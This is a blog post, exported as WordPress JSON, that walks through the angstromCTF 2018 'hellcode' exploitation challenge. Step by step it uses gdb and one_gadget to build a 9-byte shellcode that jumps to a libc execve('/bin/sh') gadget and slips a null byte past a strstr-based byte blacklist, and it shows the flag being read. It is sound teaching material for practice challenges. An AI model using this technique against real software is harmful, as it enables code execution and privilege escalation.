{"id":451,"date":"2018-03-21T20:11:49","date_gmt":"2018-03-21T20:11:49","guid":{"rendered":"https:\/\/devel0pment.de\/?p=451"},"modified":"2019-01-03T20:45:17","modified_gmt":"2019-01-03T20:45:17","slug":"angstromctf-2018-writeup-hellcode","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=451","title":{"rendered":"angstromCTF 2018 &#8211; writeup hellcode"},"content":{"rendered":"<p>The <a href=\"https:\/\/angstromctf.com\/\" target=\"_blank\" rel=\"noopener\">angstromCTF 2018<\/a> (<a href=\"https:\/\/ctftime.org\/event\/577\" target=\"_blank\" rel=\"noopener\">ctftime.org<\/a>) ran from 16\/03\/2018, 20:00 UTC to 23\/03\/2018 00:00 UTC.<\/p>\n<p>As the description on <i>ctftime.org<\/i> states, the ctf is <i>primarily geared towards high school students but with a very wide range of challenge difficulty<\/i>.<\/p>\n<p>There have been a lot of interesting challenges which have been fun to do. I decided to make a writeup for the pwn challenge <i>hellcode<\/i>.<\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1>hellcode (200 pts)<\/h1>\n<p>Challenge description:<br \/>\n<i><br \/>\nThis program will execute any arbitrary code you give it! Well, almost any &#8212; it prohibits syscalls, and only gives you 16 bytes of space. These incredible security features were added at the last minute to ensure nobody can read any secrets hidden on the server. Prove them wrong and get the flag. Download the source and binary.<br \/>\n<\/i><\/p>\n<p>Let&#8217;s start by analyzing the provided source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [7,16,18,19,20,24,31,37,38,41,42,51,62]; title: ; notranslate\" title=\"\">\r\nroot@kali:~# cat hellcode.c\r\n#include &amp;lt;stdbool.h&amp;gt;\r\n#include &amp;lt;stdio.h&amp;gt;\r\n#include &amp;lt;stdlib.h&amp;gt;\r\n#include &amp;lt;string.h&amp;gt;\r\n#include &amp;lt;sys\/mman.h&amp;gt;\r\n\r\nvoid code_runner()\r\n{\r\n\tchar tmp_code&#x5B;18];\r\n\tchar *code;\r\n\tbool executing = false;\r\n\r\n\tprintf(&amp;quot;Please enter your code: &amp;quot;);\r\n\tfflush(stdout);\r\n\r\n\tfgets(tmp_code, 17, stdin);\r\n\r\n\tchar *end = strchr(tmp_code, '\\n');\r\n\tif (end == NULL) end = &amp;amp;tmp_code&#x5B;16];\r\n\t*end = '&amp;#92;&amp;#48;';\r\n\tint len = end - tmp_code;\r\n\r\n\t\/* NO KERNEL FUNCS *\/\r\n\tif (strstr(tmp_code, &amp;quot;\\xcd\\x80&amp;quot;) || strstr(tmp_code, &amp;quot;\\x0f\\x34&amp;quot;) || strstr(tmp_code, &amp;quot;\\x0f\\x05&amp;quot;))\r\n\t{\r\n\t\tprintf(&amp;quot;Nice try, but syscalls aren't permitted\\n&amp;quot;);\r\n\t\treturn;\r\n\t}\r\n\r\n\t\/* NO CALLS TO DYNAMIC ADDRESSES *\/\r\n\tif (strstr(tmp_code, &amp;quot;\\xff&amp;quot;))\r\n\t{\r\n\t\tprintf(&amp;quot;Nice try, but dynamic calls aren't permitted\\n&amp;quot;);\r\n\t\treturn;\r\n\t}\r\n\r\n\tcode = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);\r\n\tmemcpy(code, tmp_code, len);\r\n\tcode&#x5B;len] = 0xc3;\r\n\r\n\tmprotect(code, 4096, PROT_READ|PROT_EXEC);\r\n\tif (executing == true)\r\n\t{\r\n\t\tprintf(&amp;quot;ROP chain detected!\\n&amp;quot;);\r\n\t\tmunmap(code, 4096);\r\n\t\texit(-1);\r\n\t}\r\n\r\n\tvoid (*func)() = (void (*)())code;\r\n\texecuting = true;\r\n\tfunc();\r\n\r\n\tmunmap(code, 4096);\r\n}\r\n\r\nint main(int argc, char **argv)\r\n{\r\n\tgid_t gid = getegid();\r\n\tsetresgid(gid,gid,gid);\r\n\r\n\tprintf(&amp;quot;Welcome to the Executor\\n&amp;quot;);\r\n\tcode_runner();\r\n\r\n\treturn 0;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; The <code>main<\/code> function basically calls <code>code_runner<\/code> (line 62).<br \/>\n&#8211;&gt; Within <code>code_runner<\/code> (line 7) 17 bytes are read in the variable <code>tmp_code<\/code> using <code>fgets<\/code> (line 16).<br \/>\n&#8211;&gt; If <code>tmp_code<\/code> contains a newline (<code>'\\n'<\/code>) it is replaced with a null-byte. If there is no newline, the 17th byte (index 16) is set to null (lines 18-20).<br \/>\n&#8211;&gt; After this <code>tmp_code<\/code> is checked for blacklisted byte sequences (<code>\"\\xcd\\x80\"<\/code>, <code>\"\\x0f\\x34\"<\/code>, <code>\"\\x0f\\x05\"<\/code> and <code>\"\\xff\"<\/code>) using the function <code>strstr<\/code> (lines 24 and 31).<br \/>\n&#8211;&gt; If none of the mentioned strings was found, <code>tmp_code<\/code> is copied to a newly allocated memory region, which permissions are set to read and execute after the copy (lines 37-38 and 41).<br \/>\n&#8211;&gt; There is another check if the previously defined variable <code>executing<\/code> is already true in order to prevent ROP chains (line 42).<br \/>\n&#8211;&gt; Finally the user defined code is executed (line 51).<\/p>\n<p>Our goal is to read the <code>flag<\/code> file within the <code>\/problems\/hellcode\/<\/code> directory on the ctf server:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [5]; title: ; notranslate\" title=\"\">\r\nteam655120@shell:\/problems\/hellcode$ ls -al\r\ntotal 28\r\ndrwxr-xr-x  2 root root              4096 Mar 17 02:00 .\r\ndrwxr-xr-x 16 root root              4096 Mar 17 02:20 ..\r\n-r--r-----  1 root problem-hellcode    42 Mar 16 21:34 flag\r\n-rwxr-sr-x  1 root problem-hellcode 13512 Mar 16 02:56 hellcode\r\n<\/pre>\n<p>As well as the source code, the binary was directly available for download on the challenge website in order to analyze it on a local machine:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3]; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Documents\/angstromctf# file hellcode\r\nhellcode: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 2.6.32, BuildID&#x5B;sha1]=8e1f0876954061db545626b4428d4d50dcc783e7, not stripped\r\nroot@kali:~\/Documents\/angstromctf# checksec hellcode\r\n&#x5B;*] '\/root\/Documents\/angstromctf\/hellcode'\r\n    Arch:     amd64-64-little\r\n    RELRO:    Partial RELRO\r\n    Stack:    Canary found\r\n    NX:       NX enabled\r\n    PIE:      No PIE (0x400000)\r\n<\/pre>\n<p>So we are dealing with a 64bit dynamically linked binary with stack canaries and <i>NX<\/i> enabled, but without <i>PIE<\/i>.<\/p>\n<p>In order to read the flag, we could spawn a shell by calling <code>execve(\"\/bin\/sh\")<\/code>. A very straight forward way to do this is a so called <i>one-gadget<\/i>. A one-gadget is an address within the libc which leads to a call to <code>execve(\"\/bin\/sh\", NULL, NULL)<\/code>. Such a one-gadget is available in almost every libc. Usually there are constraints for each one-gadget to work. Such a constraint could for example be that the register <code>rax<\/code> must be zero. Generally it is easier to find one-gadgets in 64bit libc because of the way position independent code is implemented. A very great tool by <i>david942j<\/i> to find one-gadgets can be found <a href=\" https:\/\/github.com\/david942j\/one_gadget\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n<p>Before we start using the <i>one_gadget<\/i> tool, we need to download the libc which is used on the ctf server since our local machine probably does not use the same libc.<\/p>\n<p>Which libc is used on the server can be determined using <code>ldd<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nteam655120@shell:\/problems\/hellcode$ ldd hellcode\r\n        linux-vdso.so.1 =&amp;gt;  (0x00007ffca9bdd000)\r\n        libc.so.6 =&amp;gt; \/lib\/x86_64-linux-gnu\/libc.so.6 (0x00007f6a27bb4000)\r\n        \/lib64\/ld-linux-x86-64.so.2 (0x00007f6a27f7e000)\r\n<\/pre>\n<p>The library can be downloaded on the local machine with <code>scp<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Documents\/angstromctf# scp team655120@shell.angstromctf.com:\/lib\/x86_64-linux-gnu\/libc.so.6 .\r\nteam655120@shell.angstromctf.com's password: \r\nlibc.so.6                                                         100% 1825KB   1.4MB\/s   00:01   \r\n<\/pre>\n<p>Now we can use <i>one_gadget<\/i>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Documents\/angstromctf# one_gadget libc.so.6 \r\n0x45216\texecve(&amp;quot;\/bin\/sh&amp;quot;, rsp+0x30, environ)\r\nconstraints:\r\n  rax == NULL\r\n\r\n0x4526a\texecve(&amp;quot;\/bin\/sh&amp;quot;, rsp+0x30, environ)\r\nconstraints:\r\n  &#x5B;rsp+0x30] == NULL\r\n\r\n0xf02a4\texecve(&amp;quot;\/bin\/sh&amp;quot;, rsp+0x50, environ)\r\nconstraints:\r\n  &#x5B;rsp+0x50] == NULL\r\n\r\n0xf1147\texecve(&amp;quot;\/bin\/sh&amp;quot;, rsp+0x70, environ)\r\nconstraints:\r\n  &#x5B;rsp+0x70] == NULL\r\n<\/pre>\n<p>Great! There are four gadgets with different constraints.<\/p>\n<p>At next we run the binary on the ctf server and set a breakpoint at the position where our code is going to be called:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [0,1,4,5,13]; title: ; notranslate\" title=\"\">\r\nteam655120@shell:\/problems\/hellcode$ gdb hellcode\r\nGNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1\r\n...\r\n(gdb) set disassembly-flavor intel\r\n(gdb) disassemble code_runner\r\nDump of assembler code for function code_runner:\r\n   ...\r\n   0x0000000000400b30 &amp;lt;+410&amp;gt;:   mov    rax,QWORD PTR &#x5B;rbp-0x30]\r\n   0x0000000000400b34 &amp;lt;+414&amp;gt;:   mov    QWORD PTR &#x5B;rbp-0x28],rax\r\n   0x0000000000400b38 &amp;lt;+418&amp;gt;:   mov    BYTE PTR &#x5B;rbp-0x3d],0x1\r\n   0x0000000000400b3c &amp;lt;+422&amp;gt;:   mov    rdx,QWORD PTR &#x5B;rbp-0x28]\r\n   0x0000000000400b40 &amp;lt;+426&amp;gt;:   mov    eax,0x0\r\n   0x0000000000400b45 &amp;lt;+431&amp;gt;:   call   rdx\r\n   0x0000000000400b47 &amp;lt;+433&amp;gt;:   mov    rax,QWORD PTR &#x5B;rbp-0x30]\r\n   0x0000000000400b4b &amp;lt;+437&amp;gt;:   mov    esi,0x1000\r\n   0x0000000000400b50 &amp;lt;+442&amp;gt;:   mov    rdi,rax\r\n   0x0000000000400b53 &amp;lt;+445&amp;gt;:   call   0x400850 &amp;lt;munmap@plt&amp;gt;\r\n   0x0000000000400b58 &amp;lt;+450&amp;gt;:   mov    rax,QWORD PTR &#x5B;rbp-0x8]\r\n   0x0000000000400b5c &amp;lt;+454&amp;gt;:   xor    rax,QWORD PTR fs:0x28\r\n   0x0000000000400b65 &amp;lt;+463&amp;gt;:   je     0x400b6c &amp;lt;code_runner+470&amp;gt;\r\n   0x0000000000400b67 &amp;lt;+465&amp;gt;:   call   0x4007b0 &amp;lt;__stack_chk_fail@plt&amp;gt;\r\n   0x0000000000400b6c &amp;lt;+470&amp;gt;:   leave\r\n   0x0000000000400b6d &amp;lt;+471&amp;gt;:   ret\r\nEnd of assembler dump.\r\n<\/pre>\n<p>The instruction <code>call rdx<\/code> at <code>code_runner+431<\/code> calls our code. Let&#8217;s set a breakpoint there, run the program and enter some code (what we enter does not matter for now):<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,6,8]; title: ; notranslate\" title=\"\">\r\n(gdb) b *code_runner+431\r\nBreakpoint 1 at 0x400b45\r\n(gdb) r\r\nStarting program: \/problems\/hellcode\/hellcode\r\nWelcome to the Executor\r\nPlease enter your code: AAAA\r\n\r\nBreakpoint 1, 0x0000000000400b45 in code_runner ()\r\n<\/pre>\n<p>The breakpoint is hit. On the ctf server <code>gdb<\/code> is running without any extensions like <code>gdb-peda<\/code>, but this suffices since we do not have much to do. Because we want to check which constraints we can fulfill let&#8217;s start by viewing the register&#8217;s content:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [2]; title: ; notranslate\" title=\"\">\r\n(gdb) i r\r\nrax            0x0      0\r\nrbx            0x0      0\r\nrcx            0x7f9c5acbd777   140309514934135\r\nrdx            0x7f9c5b1aa000   140309520097280\r\nrsi            0x1000   4096\r\nrdi            0x7f9c5b1aa000   140309520097280\r\nrbp            0x7ffd7e200fc0   0x7ffd7e200fc0\r\nrsp            0x7ffd7e200f80   0x7ffd7e200f80\r\nr8             0xffffffffffffffff       -1\r\nr9             0x0      0\r\nr10            0x487    1159\r\nr11            0x206    518\r\nr12            0x4008a0 4196512\r\nr13            0x7ffd7e2010d0   140726719484112\r\nr14            0x0      0\r\nr15            0x0      0\r\nrip            0x400b45 0x400b45 &amp;lt;code_runner+431&amp;gt;\r\neflags         0x246    &#x5B; PF ZF IF ]\r\ncs             0x33     51\r\nss             0x2b     43\r\nds             0x0      0\r\nes             0x0      0\r\nfs             0x0      0\r\ngs             0x0      0\r\n<\/pre>\n<p>Nice! <code>rax<\/code> already contains zero, which means that we can use the first gadget we found.<\/p>\n<p>In order to call the gadget, we need to know the libc base address which varies on every execution of the binary because of <i>ASLR<\/i>. The current base address in <code>gdb<\/code> can be determined with the command <code>i proc mappings<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [10]; title: ; notranslate\" title=\"\">\r\n(gdb) i proc mappings\r\nprocess 7762\r\nMapped address spaces:\r\n\r\n          Start Addr           End Addr       Size     Offset objfile\r\n            0x400000           0x401000     0x1000        0x0 \/problems\/hellcode\/hellcode\r\n            0x601000           0x602000     0x1000     0x1000 \/problems\/hellcode\/hellcode\r\n            0x602000           0x603000     0x1000     0x2000 \/problems\/hellcode\/hellcode\r\n           0x230b000          0x232c000    0x21000        0x0 &#x5B;heap]\r\n      0x7f9c5abbc000     0x7f9c5ad7c000   0x1c0000        0x0 \/lib\/x86_64-linux-gnu\/libc-2.23.so\r\n      0x7f9c5ad7c000     0x7f9c5af7c000   0x200000   0x1c0000 \/lib\/x86_64-linux-gnu\/libc-2.23.so\r\n      0x7f9c5af7c000     0x7f9c5af80000     0x4000   0x1c0000 \/lib\/x86_64-linux-gnu\/libc-2.23.so\r\n      0x7f9c5af80000     0x7f9c5af82000     0x2000   0x1c4000 \/lib\/x86_64-linux-gnu\/libc-2.23.so\r\n      0x7f9c5af82000     0x7f9c5af86000     0x4000        0x0\r\n      0x7f9c5af86000     0x7f9c5afac000    0x26000        0x0 \/lib\/x86_64-linux-gnu\/ld-2.23.so\r\n      0x7f9c5b19e000     0x7f9c5b1a1000     0x3000        0x0\r\n      0x7f9c5b1aa000     0x7f9c5b1ab000     0x1000        0x0\r\n      0x7f9c5b1ab000     0x7f9c5b1ac000     0x1000    0x25000 \/lib\/x86_64-linux-gnu\/ld-2.23.so\r\n      0x7f9c5b1ac000     0x7f9c5b1ad000     0x1000    0x26000 \/lib\/x86_64-linux-gnu\/ld-2.23.so\r\n      0x7f9c5b1ad000     0x7f9c5b1ae000     0x1000        0x0\r\n      0x7ffd7e1e1000     0x7ffd7e202000    0x21000        0x0 &#x5B;stack]\r\n      0x7ffd7e388000     0x7ffd7e38b000     0x3000        0x0 &#x5B;vvar]\r\n      0x7ffd7e38b000     0x7ffd7e38d000     0x2000        0x0 &#x5B;vdso]\r\n  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 &#x5B;vsyscall]\r\n<\/pre>\n<p>The libc base address currently is <code>0x7f9c5abbc000<\/code>. Did you recognize the value of <code>rcx<\/code>?<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\nrcx            0x7f9c5acbd777   140309514934135\r\n...\r\n<\/pre>\n<p><code>rcx<\/code> already contains a libc address. Although the actual base address varies on every execution, the offset of this value within the libc will stay constant. This means that we can simply calculate the difference of the value in <code>rcx<\/code> and the address of the gadget we want to call:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n(gdb) p $rcx - (0x7f9c5abbc000 + 0x45216)\r\n$1 = 771425\r\n<\/pre>\n<p>The difference amounts 771425 = 0xbc561 bytes. Thus we subtract 0xbc561 from <code>rcx<\/code> and then jump to <code>rcx<\/code> to trigger the one gadget:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nroot@kali:~\/Documents\/angstromctf# asm -c 64 &amp;quot;sub rcx, 0xbc561; jmp rcx&amp;quot;\r\n4881e961c50b00ffe1\r\n<\/pre>\n<p>Mmmh, there is a byte with the value <code>0xff<\/code> in our code. This value is blacklisted, isn&#8217;t it?<\/p>\n<pre class=\"brush: cpp; first-line: 30; title: ; notranslate\" title=\"\">\r\n\t\/* NO CALLS TO DYNAMIC ADDRESSES *\/\r\n\tif (strstr(tmp_code, &amp;quot;\\xff&amp;quot;))\r\n\t{\r\n\t...\r\n<\/pre>\n<p>Well, it is. But&#8230; wait! The function <code>strstr<\/code> is used to search for the blacklisted byte (actually the compiler turned this into <code>strchr<\/code>, but this does not matter for our consideration). How many bytes are processed by <code>strstr<\/code>? All bytes of the string. In other words: all bytes until a null-byte is reached. Since our code contains a null-byte <b>before<\/b> the <code>0xff<\/code> byte, we evade the blacklist. Because the user input is read using the function <code>fgets<\/code>, we can enter a null-byte without terminating the user input stream:<\/p>\n<pre class=\"brush: cpp; first-line: 16; title: ; notranslate\" title=\"\">\r\n\tfgets(tmp_code, 17, stdin);\r\n<\/pre>\n<p>So our code should work as intended. The only thing left to do is to input the code in the binary using <code>python<\/code> and append the command <code>cat<\/code> to regain <code>stdin<\/code> on the spawned shell:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nteam655120@shell:\/problems\/hellcode$ (python -c 'print(&amp;quot;4881e961c50b00ffe1&amp;quot;.decode(&amp;quot;hex&amp;quot;))'; cat) | .\/hellcode\r\nWelcome to the Executor\r\nPlease enter your code:\r\nid\r\nuid=1876(team655120) gid=1004(problem-hellcode) groups=1004(problem-hellcode),1000(teams)\r\ncat flag\r\nactf{a_secure_code_invoker_is_oxymoronic}\r\n<\/pre>\n<p>Done \ud83d\ude42 The flag is <code>actf{a_secure_code_invoker_is_oxymoronic}<\/code>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>The angstromCTF 2018 (ctftime.org) ran from 16\/03\/2018, 20:00 UTC to 23\/03\/2018 00:00 UTC. As the description on ctftime.org states, the ctf is primarily geared towards high school students but with a very wide range of challenge difficulty. There have been a lot of interesting challenges which have been fun to do. I decided to make &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=451\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;angstromCTF 2018 &#8211; writeup hellcode&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24,7],"tags":[8,9,20,13,18,10,11,19],"class_list":["post-451","post","type-post","status-publish","format-standard","hentry","category-ctf","category-writeup","tag-assembly","tag-binary","tag-ctf","tag-elf","tag-gdb","tag-pwn","tag-r2","tag-x64"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/451"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=451"}],"version-history":[{"count":9,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/451\/revisions"}],"predecessor-version":[{"id":1100,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/451\/revisions\/1100"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=451"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=451"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=451"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}